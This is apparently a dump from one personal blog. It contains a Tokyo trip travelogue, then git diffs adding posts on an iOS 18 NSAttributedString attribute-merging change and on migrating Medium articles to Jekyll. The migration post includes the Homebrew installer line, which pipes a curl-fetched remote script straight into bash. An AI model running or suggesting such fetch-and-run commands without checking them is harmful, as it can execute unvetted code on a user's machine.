Since this trip was only to Tokyo, I looked for a hotel where we could stay for four days without changing locations. As it was close to the travel date, there were no available rooms at the Tokyo branches of Toyoko Inn or APA; I had to search on Agoda for a hotel near the middle of Tokyo with access to train and subway stations.

Hotel Villa Fontaine Grand Tokyo-Shiodome — 4 nights

Located at Shiodome Station, providing direct access to Odaiba or Shinjuku.

To go to other places, you need to walk to Shimbashi Station (about 10 minutes), and from Shimbashi to Tokyo Station is another 10 minutes (1-2 stops away).

Reasonably convenient, reasonably priced, with good reviews. The room was clean, comfortable, and not too small. Since there were three of us, the room had two beds and a sofa bed (which was as comfortable as a regular bed).

3 people total NT$23,894

CHO Stay Capsule Hotel at Taoyuan Airport — Overnight on Day 0

This trip was special because our flight was at 8 a.m., and we were all departing from Taipei. We needed to catch a 6 a.m. flight, so we had to leave home around 4-5 a.m. Considering the excitement of going out and the difficulty in falling asleep, we wouldn’t have gotten much rest.

Therefore, a few days before the trip, we decided to stay overnight at the airport the night before. I found out that there was a capsule hotel at Taoyuan Airport, so we decided to give it a try!

Location: On the south side of Terminal 2, 5th floor, right below Terminal 2 (about a 5-minute walk down)

The rooms available were double rooms, triple rooms, quadruple rooms, and single beds (approximately 16 beds per room).

When we booked, only single beds were available.

1 person NT$1,500

Departure on Day 0

Basically, I unpacked the items I bought in the Kansai region, took out some clothes and essentials, repacked my suitcase, and then set off.

Currently, you can’t check in for the airport express for the next day’s flight, so I had to carry my luggage to Terminal 2.

Sean & Me & James

Sean & Me & James

Upon arriving at Terminal 2, I went straight to the departure hall on the third floor. From there, I found the location to the south side shopping mall observation deck (walk to the right at the end of the hall).

Walk to the end and take the escalator up.

At the top of the escalator, you’ll see the entrance to a Taiwanese-style hotel.

Taoyuan Airport Capsule Hotel

After checking in, you can store your luggage and then go out to eat.

Eating is not allowed in the rooms. Each of us received a tea bag upon check-in, which we could ask the front desk to brew. We sat at the bar counter near the door to drink it. They also provided towels for joining the membership on-site.

Earplugs are available at the entrance for free.

Corridor

Corridor

The bathroom facilities were new, clean, and comfortable. There were two toilets, five shower rooms, two hairdryers (one Dyson), and shower gel and shampoo provided. Guests need to bring their own towels and toiletries.

Men's Bathroom

Men’s Bathroom

Upon entering, there is a luggage room on the left. The layout of the beds is as follows:

Dormitory Beds

Dormitory Beds

Each bed had its own mirror, desk, lamp, curtain, and trash can. I slept on the top bunk, and the mattress was thick enough that I didn’t disturb the person on the bottom bunk when moving around.

The translation of the Markdown content is as follows:

The mattress is not only thick but also long enough, 176 CM, so sleeping is not a problem; the environment is clean, the lighting is warm, and the air conditioning is very comfortable; the only irresistible factor is that snoring from others can still be heard (so free earplugs are provided at the door).

But I’m not afraid of noise, as long as it’s warm and relaxing, I can sleep well; so I slept until dawn, directly brushing my teeth and checking out at nearly 6 o’clock (slept full and satisfied, then went abroad).

Fortunately, we had a reservation the night before, and when other guests wanted to check in on the spot, there were no more available spots.

In the morning, leisurely enjoy the airport view:

I thought it would be crowded at 8 am in the morning, but luckily there were hardly any people.

If I had known, I would have slept in the capsule hotel until 7 o’clock and then come down!

Waiting for Boarding

This time, the boarding gate required taking a shuttle bus (referred to as a shuttle bus by mainland netizens).

It was hot and crowded, but I still made it to the boarding gate:

Bye 🇹🇼

Bye 🇹🇼

Arrival at Narita Airport

Hey 🇯🇵

Hey 🇯🇵

Day 1 Shibuya, Parco, Shibuya Sky

It takes about 15 minutes to walk from the plane to the immigration hall, and by the time you actually pick up your luggage and go through customs, it’s already around 1 pm.

When transferring to the Narita Express, I made a mistake at the beginning by swiping my Suica card at the entrance; it turned out that all seats on the Narita Express were reserved, so I had to exit, buy a ticket, and then re-enter the station (later I found out that you can apparently buy tickets directly at the platform machine inside the station).

Later, I took the Narita Express departing at 2 o’clock to Tokyo Station.

Enjoying the scenery along the way, when you can see the Tokyo Skytree, it means you’re almost there.

After arriving at Tokyo Station, I transferred to the subway to Shimbashi Station, then found my way to Shiodome.

The hotel is hidden inside an office building, very unique:

At first, I thought I had walked into someone’s office building by mistake, but it turned out to be the hotel.

Drop off luggage, take a rest: Hotel Villa Fontaine Grand Tokyo Shiodome

(The video was filmed later and is a bit chaotic XD)

Heading to Shibuya

You must visit this intersection, reminiscent of the challengers of the border of the afterlife.

Netflix — Alice in Borderland

Shibuya Parco — Gokumoku-ya

Queue up to taste the famous Gokumaru House around 5:30 PM, and after about 45 minutes of waiting, there will be seats available.

I ordered the Kobe beef hamburger + Kobe beef steak + rice ice cream combo ($3,355 Japanese Yen):

The staff helped set the doneness level to about 1 minute, and you have to flip it yourself on the iron plate to cook it to your preferred doneness. Gokumaru House

Here, it is important to use two pairs of chopsticks; for hygiene, use the metal ones for cooking and the bamboo ones for eating, alternating between them.

The Kobe beef steak is delicious, juicy, tender, and has no gamey taste 🤩; the hamburger is also good but a bit heavier.

Shibuya Parco - Polar Bear Store for Self-Deprecation

Accidentally bought some items.

Shibuya - Shibuya Sky

Luckily, Sean bought the tickets early; otherwise, we wouldn’t have been able to get in.

KKday SHIBUYA SKY Observatory E-Ticket Tokyo

It’s dark up there, a bit windy, and you can’t bring bags (lockers are provided).

Apart from a bar in the corner, there are no other facilities or light pollution, making it great for taking photos and enjoying the night view.

You probably need to make a separate reservation for the bar, and it has the same opening hours as the visit.

Back at the hotel, it’s still sake, instant noodles, and snacks to end the day

The tofu skin instant noodles are delicious.

Day 2 - Yokohama Gundam, Odaiba, Shinjuku

Early the next morning, rushed to the 10 AM Gundam performance, took a train to Sakuragicho Station, then transferred to a cable car + walked to the Gundam Factory.

Yokohama Gundam

The weather is super nice!!

[_KKday Japan YokohamaGUNDAM FACTORY YOKOHAMA & Yokohama Marine Tower Set Ticket_](https://www.kkday.com/zh-tw/product/149471-gundam-factory-yokohama-marine-tower-set-ticket-japan?cid=19365&ud1=9da2c51fa4f2){:target=”_blank”}

The Gundam performance lasted from 10 AM until noon, with different storylines for different sessions; however, since I’m not a Gundam fan, I just enjoyed the spectacle.

But I have to say it’s very spectacular, the details, movements, and sounds are very delicate.

There are also peripheral specialty stores inside, selling Gundam models and exclusive products.

Sean's Gundam Finished Product

Sean’s Gundam Finished Product

Because I’m not a Gundam fan, I just walked around, watched a few performances, and then left.

Odaiba

I headed to Odaiba, the tram from Shiodome to Odaiba is cool, along the way you can see the Fuji TV station and the whole view of Odaiba.

Upon arriving at Odaiba, let’s first see the Statue of Liberty in Odaiba.

It is 1/7 of the Statue of Liberty in New York, symbolizing the friendly relationship between Japan and France.

A little further ahead, looking back, you can see the Fuji TV station that has been destroyed many times by Arale in Dr. Slump.

A little further ahead, you can go to the mall to eat takoyaki and Taiwanese fried chicken?

Takoyaki is average, too many octopus pieces make it greasy; the fried chicken is quite special, although it’s labeled as Taiwanese-style, it’s actually Japanese fried chicken (thin, boneless) coated with Taiwanese flour for frying. It’s different from Taiwanese fried chicken, but I still told the staff it’s delicious, and that I’m Taiwanese 🤣.

I originally planned to buy clothes and shoes at the department store in Odaiba, but when I was close, I saw that the subway could go to Shinjuku; so I suddenly turned and headed to Shinjuku.

Shinjuku

Started shopping around.

Went to La Lebo to smell the Tokyo-exclusive scent of GAIAC No. 10.

It feels light… woody… can’t really smell it. (But I still bought it on Day 4)

In the end, I only bought clothes, pants, and cosmetics at the department store, and as the weather started to turn gloomy and rainy, I returned to the hotel.

Ended the day with eating

Hot dogs are delicious, and the fruit wine is good!

Day 3 Tokyo DisneySea

We set off early, and the weather was overcast and rainy in the morning.

[_KKday JapanTokyo Disney Resort TicketsTokyo Disney Resort_](https://www.kkday.com/zh-tw/product/19252?cid=19365&ud1=9da2c51fa4f2){:target=”_blank”}

We bought tickets for DisneySea, not Disneyland. The beautiful castle is in Disneyland; to enter DisneySea, you need to take the park’s tram.

After entering the park, we started drawing lots for performances or entry, but didn’t win any. In the end, we purchased front-row seats for the evening fireworks show “ Believe! ~Sea of Dreams~ “ (you can also watch it from the outside, the show is in the harbor public area).

As the rain got heavier, we went to a roadside shop to buy Mickey raincoats:

I personally think the quality and material are quite good, and there are cute Mickey or Minnie patterns (deep red) to choose from, and they are not expensive!!

Luckily, it didn’t rain after noon!! I’m not a rain man!!

Bought raincoats and headed straight to “ Toy Story Crazy Game House “:

There were a lot of people, waited for about 100 minutes to get in:

The game involves teams of 2 people (1 person can play with a computer) operating buttons to shoot and score with projection balloons, high fun factor, low excitement, suitable for couples or families.

There is also Mr. Egghead’s interactive theater performance and a small souvenir shop nearby:

Very cute hugging brother doll!!

Next is “ Soaring: Fantastic Flight “, also a popular amusement facility:

After queuing to enter, before the game starts, there will be scenes introducing the adventurer’s story, paintings hanging on the wall are actually high-resolution screens with animations and speech, very impressive!

The theater, ball-shaped giant screen + 4D experience (seats will rise and move forward + air scents); the content is landscapes from around the world, for example, the great plains will have the scent of grass; very stunning, suitable for everyone!

Here we bought the fast pass.

After playing these two facilities, it was close to noon, so we started looking for food. Since the restaurants were full, we could only find snacks like pizza, chicken legs… etc.

Just as we came out with food, the Harbor Show “ Colors of Christmas “ started:

After eating, we started wandering around the souvenir shops in the park:

After digesting, we started queuing for “ Journey to the Center of the Earth “:

It takes about 90-100 minutes, just enough time to fully digest, otherwise it would be too exciting XD

The content is a replica of the movie “Journey to the Center of the Earth”, with impressive scenes and immersion; at the end, there will be acceleration and a slight descent (feeling of weightlessness), the excitement is stronger but not to the point of feeling weak in the legs, suitable for friends looking for a bit of excitement.

After coming out, we went to the nearby “ 20,000 Leagues Under the Sea “ to relax:

Not many people, the content is a simulated feeling of diving in a submarine (but it should be simulated), very low excitement, only suitable for young children.

After sitting down, we continued to wander around and eat:

Very cute but very sweet Mickey ice cream bars, and Anna Belle (Lena Belle).

Continued to walk around and take pictures, the park is really big, just took some scenery shots, didn’t take any pictures of animated fantasy scenes:

After reaching the end, we went to ride “ Indiana Jones Adventure: Temple of the Crystal Skull “:

No deep-sea exploration adventure (no weightlessness and not that fast down), the content is an immersive scene from the movie Indiana Jones, personally I find it interesting and fun.

Continuing to skim through:

Also took the “ Disney Sea Ferry Route “ and “ Disney Sea Electric Railway “ because my feet were sore from walking, and the scenery along the way was nice; more inclined towards the transportation facilities within the park, without any special amusement effects.

As the evening approached, started shopping and taking photos:

Had to admit it was easy to go on a shopping spree because of many 40th-anniversary limited editions; also took photos with the Earth.

Approaching the start time of the performance, started walking back to the harbor and sat on the ground upon entry.

As mentioned earlier, we also purchased regular seats for viewing.

The whole performance experience was very immersive, including music, projections (the volcano will erupt at the back!), lasers, fireworks, Disney Sea-related character plots… all combined very well, definitely worth staying until the end of the evening to watch the performance.

After experiencing the whole day at Disney, my impression is that all the facilities are very immersive, not just simple amusement facilities, but aiming for visitors to immerse themselves in that character and scene; although not as thrilling as Universal, I find it very entertaining; the fireworks show at night is a must-see!

There are many cute souvenirs, need to control your hands (stop shopping)!

Ate random food, think it’s better to bring your own food from outside.

If time allows, it’s better to spend two days on land and sea, the sea part lacks the dreamy castle and the parade on land QQ

Outside JR Maihama Station, there is still a last peripheral specialty store to shop at, took one last stroll before leaving reluctantly.

After returning to the hotel, continued with the daily routine; today had soy sauce ramen, cantaloupe fruit juice (delicious!!), Akaya plum wine (delicious!!), and oolong shochu (tasteless, not good).

Day 4 Tokyo Tower, Meiji Shrine, Le Labo, Kameari Ryotsu Police Box, Asakusa Kaminarimon, Tokyo Skytree

After a good night’s sleep, started thinking about today’s itinerary (crazy ENFP), the only thing everyone did together was Tokyo Skytree at night; in the morning, friends went to Akihabara, it was a day to explore Tokyo alone.

Tokyo Tower

Looking at the map, Shinbashi is not far from Tokyo Tower; decided to go there first.

Upon leaving, found out that there was a serious subway accident causing delays, so decided to walk instead (about 20 minutes):

Walking alone on the streets of Tokyo, it’s not too hot in June, enjoying the breeze.

Encountered a vendor selling hot roasted sweet potatoes on the roadside

Encountered a vendor selling hot roasted sweet potatoes on the roadside.

When approaching Tokyo Tower, passed by a park called “Tokyo Metropolitan Shiba Park⁩” and viewing the tower through the branches from here offers a unique perspective:

Continuing down the mountain road, arrived at the base of Tokyo Tower.

[_KKday Japan TokyoTokyo Tower Main Observatory Tokyo TowerE-Ticket_](https://www.kkday.com/zh-tw/product/12271-japan-tokyo-tower-observatory-e-ticket?cid=19365&ud1=9da2c51fa4f2){:target=”_blank”}

Upon entering the tower, purchased Top Deck tickets; besides being able to go up to the top of the tower, the ticket includes a guided tour (with Chinese audio) and a complimentary souvenir photo of the visit! (Great experience)

The guided tour features interactive murals similar to those at Disneyland yesterday 😆, with two predecessors in conversation, discussing the construction of a iconic Japanese building, with the same architect having another work being the Tsutenkaku in Osaka.

The morning view of Tokyo from above is nice, with the third image showing the Skytree to visit at night.

Finally, a free commemorative photo of the successful tower climb!

Meiji Shrine

After visiting Tokyo Tower, checked the map and decided to head to Meiji Shrine.

After getting off the subway, walked a long way (about 30 minutes) to reach Meiji Shrine.

A special encounter was witnessing a traditional Japanese wedding ceremony happening at the shrine:

Finished the visit at the main hall and left.

Found Meiji Shrine to be more solemn and serious, while Asakusa Temple felt crowded with tourists.

Next stop was the iconic Kameari - Kameari Park, where I wanted to see how it looks; on the way there, stopped by Le Labo in Omotesando for another sniff.

LE LABO Aoyama Store

Honestly, I’m not that interested in Le Labo; I prefer Ormonde Jayne perfumes personally, and Le Labo gives me a mass-market packaging vibe.

After a sniff, bought Another 13, a strong scent; and inevitably, also bought the Tokyo-exclusive Gaiac 10, both in 15ml as souvenirs.

Le Labo perfumes are packaged and labeled on-site (takes about 15–20 minutes), allowing customization of your own label; I chose “ZhgChgLi” for 13, my personal favorite, and 10 represents Tokyo, asking the staff in broken English which one represents Japan, and he said ♨️ 😝.

The prices for Le Labo in Japan are as shown, with an additional discount for tax exemption on 13.

The Tokyo-exclusive Gaiac 10 is more expensive, costing $16,800 Japanese Yen after tax exemption.

Kameari - Kameari Park

After shopping, continue to walk towards Kameari (Kameari is really far).

As soon as you exit the station, there are statues of characters from the Ueno Police Station:

Checked the map and went to Kameari Park near the back station for a stroll:

It’s just an ordinary park, with many children playing soccer inside. There is a statue in a sitting position, covered with children’s belongings, so I didn’t take any photos.

Checked online and found that there is a scene of the Ueno Police Station at the Ario department store nearby, so I continued walking (about 10 minutes):

Upon entering, I was disappointed. It’s almost certain that the popularity of Ueno has declined (young people don’t watch it anymore…). Apart from the statues at the station exit, from the ordinary park in front to the so-called Ueno Police Station amusement park, only the set is left, and outside the set, it has been transformed into a playground (with claw machines).

The saddest part was the gachapon machine at the entrance, with the eyes of the character broken and not repaired, giving a desolate feeling. In the end, I got a detective in hot pants from the machine and left feeling disappointed.

Checked the map and took a bus to Asakusa, which is closer. It took about 15 minutes to check the route and walk to the bus stop:

There were hardly any people or tourists on the way to the bus stop, and even Google Translate couldn’t translate the bus route; I had truly arrived in a non-touristy area.

I made a mistake when boarding the bus because in Kyoto, you pay when you get off, so I stood there blankly after boarding the bus, not understanding Japanese. It wasn’t until a kind Japanese passenger said “pay pay” that I realized I had to swipe my card to pay at the front.

The journey was quiet and comfortable, with Japanese drivers waiting for passengers to sit down and get up before starting the bus. We swayed all the way to Senso-ji Temple in Asakusa.

KKday Tokyo Asakusa Rickshaw Tour Japan

KKday Tokyo Kimono Rental Recommendation! Tokyo Asakusa Kimono Experience

There were so many tourists!! It was so crowded that I could only find angles to take photos.

Continued walking towards Senso-ji Temple, there were just too many tourists. I didn’t plan to buy anything, just wanted to take a look around. Along the way, I found this bean shop unexpectedly delicious, so I bought some as souvenirs.

After visiting Senso-ji Temple, there were still many people, so we took some photos and left.

As it was getting close to evening, we started moving towards the Tokyo Skytree.

Senso-ji Temple overlooking the Tokyo Skytree.

Tokyo Skytree

Since it was still early, we continued to enjoy the scenery along the way.

KKday Tokyo Skytree Observatory Advance Ticket Japan

Getting closer, it kept getting bigger.

After arriving at the Tokyo Skytree, we first strolled around the shopping mall inside, ordered a cup of Hokkaido strawberry ice cream to take a break.

We didn’t buy tickets for the Top Deck at the Tokyo Skytree, only for the middle observation deck, entering at 7 p.m.

When we first went up, it wasn’t dark yet, so we took a few casual photos:

After sunset, we could overlook the entire night view of Tokyo, which was very beautiful.

In the top left corner of the first picture is the distant Tokyo Tower; it was quite dark inside, and the glass reflected light making it difficult to take selfies.

Managed to take one picture XD

Before leaving, we took one last look back.

On the last night, we ate at an izakaya and took some photos of the night views along the way:

Charcoal-grilled Chicken

Charcoal-grilled Chicken

Japan’s weather turned bad today. It was unexpected to see the Tokyo Tower every day passing by Shiodome, along with special art installations. We finally stopped to appreciate it on the last day.

Last Night’s Midnight Snack

Still, Nissin noodles are delicious, especially with convenience store fried chicken 🤤! Bought melon juice a few days ago, and today bought strawberry juice, both were delicious; can’t remember the sake, so they were probably average.

Day 5 National Diet Building, Imperial Palace, Tokyo Station, Return Trip

After waking up and storing our luggage, like Day 4, I casually explored Tokyo because my flight was in the evening, so I had most of the day to wander around, but the weather was gloomy and rainy.

Remembering seeing a gachapon machine at the Tokyo Skytree yesterday with Japanese representative landmarks, I hadn’t seen the National Diet Building, so I headed in that direction.

National Diet Building

One interesting thing was encountering a protest by Japanese extremists on the way.

Driving a promotional vehicle near the Parliament House, loudly broadcasting, was stopped by the police who removed his loudspeaker; later, he accelerated through a red light to escape, with police everywhere, a bit scary.

Passed by the Parliament House and saw the closed gate, so didn’t go in (seems like you can enter from the side gate for a visit?):

Took a distant photo as a souvenir and then continued walking towards the Imperial Palace.

Imperial Palace

The Imperial Palace is really big; it took about 30 minutes just to walk from the outer entrance.

After reaching the Tenshukaku, left as the Imperial Palace was not open for visitors that day.

Took about another hour to walk back to Tokyo Station (could have taken the subway, but it’s only one or two stops; I like to walk around the streets and see the scenery).

Tokyo Station

Around noon, wandered around Tokyo Station; just to prove that I wouldn’t get lost, but too lazy to line up at the famous souvenir shops.

Had tempura soba noodles for the last meal.

Bought a large and a small bottle of sake from a liquor store to take back to Taiwan; the store clerk was also Taiwanese.

Return Trip

Around 4 PM, went back to the hotel to pick up luggage and slowly made my way to Narita Airport.

A glimpse of Shinbashi before leaving.

Returned directly to Narita Airport from Shinbashi because of the schedule and plenty of time; took the Toei Asakusa Line Airport Express, which takes about 1 hour and 15 minutes to arrive; couldn’t use a card or Sucia to buy tickets, so at that moment, pooled together the ticket money for three people, almost couldn’t afford it.

Arrived at the airport around 5:30, still early.

After going through immigration, still had plenty of time, so grabbed a bite to eat and did some last-minute shopping at the duty-free shop.

Found everything from Tanjirō to common souvenirs (Shiroi Koibito, banana cake, etc.) here, so just bought them here XD

The price of Tanjirō here is about the same as what I bought at Tokyo Station.

Boarded the plane, Hey 🇹🇼:

The weather in Japan was very bad, the flight was shaky (fish-eye effect), more thrilling than Disney’s rides, even had to stop dining at one point; luckily, safely arrived back in Taiwan.

The customs clearance took about 12 minutes, and taking a taxi back to Taipei took about 1:30; taking a shower and going straight to bed, ending this journey.

Afterword

  • For insights into Japanese culture, please refer to the previous post “[Travelogue] 2023 Kansai & Kobe & Osaka & 🇯🇵 First Landing
  • The Japanese time notation is in a 30-hour system, where 25:00 represents 01:00 in the early morning, very cool.
  • It’s really necessary to have at least around 10,000 Japanese Yen on hand to avoid situations where you can’t use a card or can’t swipe a Vias card.
  • Thanks to my travel companions, Sean INFJ/James ISTJ, the planning masters; Sean is in charge of deciding which Disney attractions to visit first and which FastPasses are worth buying.

黃明志東京奧運洗腦歌【東京盆踊りTokyo Bon 2020】Ft. 二宮芽生 & Cool Japan TV @亞洲通吃 2018 All Eat Asia

The brainwashing song that kept playing after returning to Taiwan.

KKday Promotion

More Travelogues

For any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Travelogue 2023 Kansai 8-Day Free and Easy Trip

Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps

diff --git a/posts/9e43897d99fc/index.html b/posts/9e43897d99fc/index.html new file mode 100644 index 0000000000..364ff5003f --- /dev/null +++ b/posts/9e43897d99fc/index.html @@ -0,0 +1,121 @@ + Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18 | ZhgChgLi
Home Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18
Post
Cancel

Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18

Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18

Starting from iOS ≥ 18, merging NSAttributedString attributes Range will reference Equatable

Photo by [C M](https://unsplash.com/@ubahnverleih?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by C M

Issue Origin

After the launch of iOS 18 on September 17, 2024, a developer reported a crash when parsing HTML in the open-source project ZMarkupParser.

Seeing this issue was a bit confusing because the program had no issues before, and the crash only occurred with iOS 18, which is illogical. It should be due to some adjustments in the underlying Foundation of iOS 18.

Crash Trace

After tracing the code, the crash issue was pinpointed to occur when iterating over .breaklinePlaceholder Attributes and deleting Range:

1
+2
+3
+4
+5
+6
+
mutableAttributedString.enumerateAttribute(.breaklinePlaceholder, in: NSMakeRange(0, NSMakeRange(0, mutableAttributedString.string.utf16.count))) { value, range, _ in
+  // ...if condition...
+  // mutableAttributedString.deleteCharacters(in: preRange)
+  // ...if condition...
+  // mutableAttributedString.deleteCharacters(in: range)
+}
+

.breaklinePlaceholder is a custom NSAttributedString.Key I extended to mark HTML tag information for optimizing the use of line break symbols:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
struct BreaklinePlaceholder: OptionSet {
+    let rawValue: Int
+
+    static let tagBoundaryPrefix = BreaklinePlaceholder(rawValue: 1)
+    static let tagBoundarySuffix = BreaklinePlaceholder(rawValue: 2)
+    static let breaklineTag = BreaklinePlaceholder(rawValue: 3)
+}
+
+extension NSAttributedString.Key {
+    static let breaklinePlaceholder: NSAttributedString.Key = .init("breaklinePlaceholder")
+}
+

But the core issue is not here, because before iOS 17, there was no problem with the input mutableAttributedString when performing the above operations; indicating that the input data content has changed in iOS 18.

NSAttributedString attributes: [NSAttributedString.Key: Any?]

Before delving into the problem, let’s first introduce the merging mechanism of NSAttributedString attributes.

NSAttributedString attributes will automatically compare adjacent Range Attributes objects with the same .key to see if they are the same, and if so, merge them into the same Attribute. For example:

1
+2
+3
+4
+5
+
let mutableAttributedString = NSMutableAttributedString(string: "", attributes: nil)
+mutableAttributedString.append(NSAttributedString(string: "<div>", attributes: [.font: UIFont.systemFont(ofSize: 14)]))
+mutableAttributedString.append(NSAttributedString(string: "<div>", attributes: [.font: UIFont.systemFont(ofSize: 14)]))
+mutableAttributedString.append(NSAttributedString(string: "<p>", attributes: [.font: UIFont.systemFont(ofSize: 14)]))
+mutableAttributedString.append(NSAttributedString(string: "Test", attributes: [.font: UIFont.systemFont(ofSize: 12)]))
+

Final Merged Attributes:

1
+2
+3
+4
+5
+
<div><div><p>{
+    NSFont = "<UICTFont: 0x101d13400> font-family: \".SFUI-Regular\"; font-weight: normal; font-style: normal; font-size: 14.00pt";
+}Test{
+    NSFont = "<UICTFont: 0x101d13860> font-family: \".SFUI-Regular\"; font-weight: normal; font-style: normal; font-size: 12.00pt";
+}
+

When enumerating enumerateAttribute(.breaklinePlaceholder...), the following results will be obtained:

1
+2
+
NSRange {0, 13}: <UICTFont: 0x101d13400> font-family: ".SFUI-Regular"; font-weight: normal; font-style: normal; font-size: 14.00pt
+NSRange {13, 4}: <UICTFont: 0x101d13860> font-family: ".SFUI-Regular"; font-weight: normal; font-style: normal; font-size: 12.00pt
+

NSAttributedString attributes merging — Underlying implementation speculation

It is speculated that the underlying implementation uses Set<Hashable> as the Attributes container, automatically excluding the same Attribute objects.

However, for convenience of use, the NSAttributedString attributes: [NSAttributedString.Key: Any?] Value objects are declared as Any? Type, without restricting Hashable.

Therefore, it is speculated that the system will conform to as? Hashable at the underlying level and then use Set to merge and manage objects.

The difference in adjustment for iOS ≥ 18 is speculated to be the underlying implementation issue here.

The following is an example using our custom .breaklinePlaceholder Attributes:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
struct BreaklinePlaceholder: Equatable {
+    let rawValue: Int
+
+    static let tagBoundaryPrefix = BreaklinePlaceholder(rawValue: 1)
+    static let tagBoundarySuffix = BreaklinePlaceholder(rawValue: 2)
+    static let breaklineTag = BreaklinePlaceholder(rawValue: 3)
+}
+
+extension NSAttributedString.Key {
+    static let breaklinePlaceholder: NSAttributedString.Key = .init("breaklinePlaceholder")
+}
+
+//
+
+let mutableAttributedString = NSMutableAttributedString(string: "", attributes: nil)
+mutableAttributedString.append(NSAttributedString(string: "<div>", attributes: [.breaklinePlaceholder: NSAttributedString.Key.BreaklinePlaceholder.tagBoundaryPrefix]))
+mutableAttributedString.append(NSAttributedString(string: "<div>", attributes: [.breaklinePlaceholder: NSAttributedString.Key.BreaklinePlaceholder.tagBoundaryPrefix]))
+mutableAttributedString.append(NSAttributedString(string: "<p>", attributes: [.breaklinePlaceholder: NSAttributedString.Key.BreaklinePlaceholder.tagBoundaryPrefix]))
+mutableAttributedString.append(NSAttributedString(string: "Test", attributes: nil))
+

For iOS ≤ 17, the following Attributes merging result will be obtained:

1
+2
+3
+4
+5
+6
+7
+8
+
<div>{
+    breaklinePlaceholder = "NSAttributedStringCrash.BreaklinePlaceholder(rawValue: 1)";
+}<div>{
+    breaklinePlaceholder = "NSAttributedStringCrash.BreaklinePlaceholder(rawValue: 1)";
+}<p>{
+    breaklinePlaceholder = "NSAttributedStringCrash.BreaklinePlaceholder(rawValue: 1)";
+}Test{
+}
+

For iOS ≥ 18, the following Attributes merging result will be obtained:

1
+2
+3
+4
+
<div><div><p>{
+    breaklinePlaceholder = "NSAttributedStringCrash.BreaklinePlaceholder(rawValue: 1)";
+}Test{
+}
+

The same program can have different results on different versions of iOS, which ultimately leads to unexpected crashes in the subsequent enumerateAttribute(.breaklinePlaceholder..) due to the handling logic.

⭐️ iOS ≥ 18 NSAttributedString attributes: [NSAttributedString.Key: Any?] will reference Equatable == more ⭐️

Comparison of results with and without implementing Equatable/Hashable in iOS 17/18

Comparison of results with and without implementing Equatable/Hashable in iOS 17/18

⭐️⭐️ iOS ≥ 18 will reference Equatable more, while iOS ≤ 17 will not. ⭐️⭐️

Combining the above, the NSAttributedString attributes: [NSAttributedString.Key: Any?] Value object is declared as Any? Type, based on observations, iOS ≥ 18 will first reference Equatable to determine equality, and then use Hashable Set to merge and manage objects.

Conclusion

When merging Range Attributes with NSAttributedString attributes: [NSAttributedString.Key: Any?], iOS ≥ 18 will reference Equatable more, which is different from before.

Additionally, starting from iOS 18, if only Equatable is declared, XCode Console will also output a Warning:

Obj-C ` -hash` invoked on a Swift value of type `BreaklinePlaceholder` that is Equatable but not Hashable; this can lead to severe performance problems.

For any questions or suggestions, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern

-

diff --git a/posts/a0c08d579ab1/index.html b/posts/a0c08d579ab1/index.html new file mode 100644 index 0000000000..b9355b0b74 --- /dev/null +++ b/posts/a0c08d579ab1/index.html @@ -0,0 +1,497 @@ + Painless Migration from Medium to Self-Hosted Website | ZhgChgLi
Home Painless Migration from Medium to Self-Hosted Website
Post
Cancel

Painless Migration from Medium to Self-Hosted Website

Painless Migration from Medium to Self-Hosted Website

Migrating Medium content to Github Pages (with Jekyll/Chirpy)

[zhgchg.li](http://zhgchg.li){:target="_blank"}

zhgchg.li

Background

In the fourth year of running Medium, I have accumulated over 65 articles, nearly 1000+ hours of effort; the reason I chose Medium initially was its simplicity and convenience, allowing me to focus on writing without worrying about other things. Before that, I had tried self-hosting Wordpress, but I spent all my time on setting up the environment, styles, and plugins, never feeling satisfied with the adjustments. After setting it up, I found it loaded too slowly, the reading experience was poor, and the backend writing interface was not user-friendly, so I stopped updating it.

As I wrote more articles on Medium and accumulated some traffic and followers, I started wanting to control these achievements myself, rather than being controlled by a third-party platform (e.g Medium shutting down and losing all my work). So, I began looking for a second backup website two years ago. I continued to run Medium but also synchronized the content to a website I could control. The solution I found at the time was — Google Site, but honestly, it could only be used as a personal “portal site.” The article writing interface was limited in functionality, and I couldn’t really transfer all my work there.

In the end, I returned to self-hosting, but this time using a static website instead of a dynamic one (e.g. Wordpress). Static websites support fewer features, but all I needed was a writing function and a clean, smooth, customizable browsing experience, nothing else!

The workflow for a static website is: write the article locally in Markdown format, then convert it to a static webpage using a static site engine and upload it to the server, and it’s done. Static webpages provide a fast browsing experience!

Writing in Markdown format allows the article to be compatible with more platforms. If you’re not used to it, you can find online or offline Markdown writing tools, and the experience is just like writing directly on Medium!

In summary, this solution meets my needs for a smooth browsing experience and a convenient writing interface.

Results

[zhgchg.li](http://zhgchg.li){:target="_blank"}

zhgchg.li

  • Supports customizable display styles
  • Supports customizable page adjustments (e.g. inserting ads, js widgets)
  • Supports custom pages
  • Supports custom domains
  • Static pages load quickly, providing a good browsing experience
  • Uses Git version control, preserving all historical versions of articles
  • Fully automated scheduled synchronization of Medium articles to the website

Environment and Tools

Install Ruby

Here, I will use my environment as an example. For other operating system versions, please Google how to install Ruby.

  • macOS Monterey 12.1
  • rbenv
  • ruby 2.6.5

Install Brew

1
+
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+

Enter the above command in Terminal to install Brew.

Install rbenv

1
+
brew install rbenv ruby-build
+

Although MacOS comes with Ruby, it is recommended to use rbenv to install another Ruby to separate it from the system’s built-in version. Enter the above command in Terminal to install rbenv.

1
+
rbenv init
+

Enter the above command in Terminal to initialize rbenv.

  • Close & reopen Terminal.

Enter rbenv in Terminal to check if the installation was successful!

Success!

Use rbenv to install Ruby

1
+
rbenv install 2.6.5
+

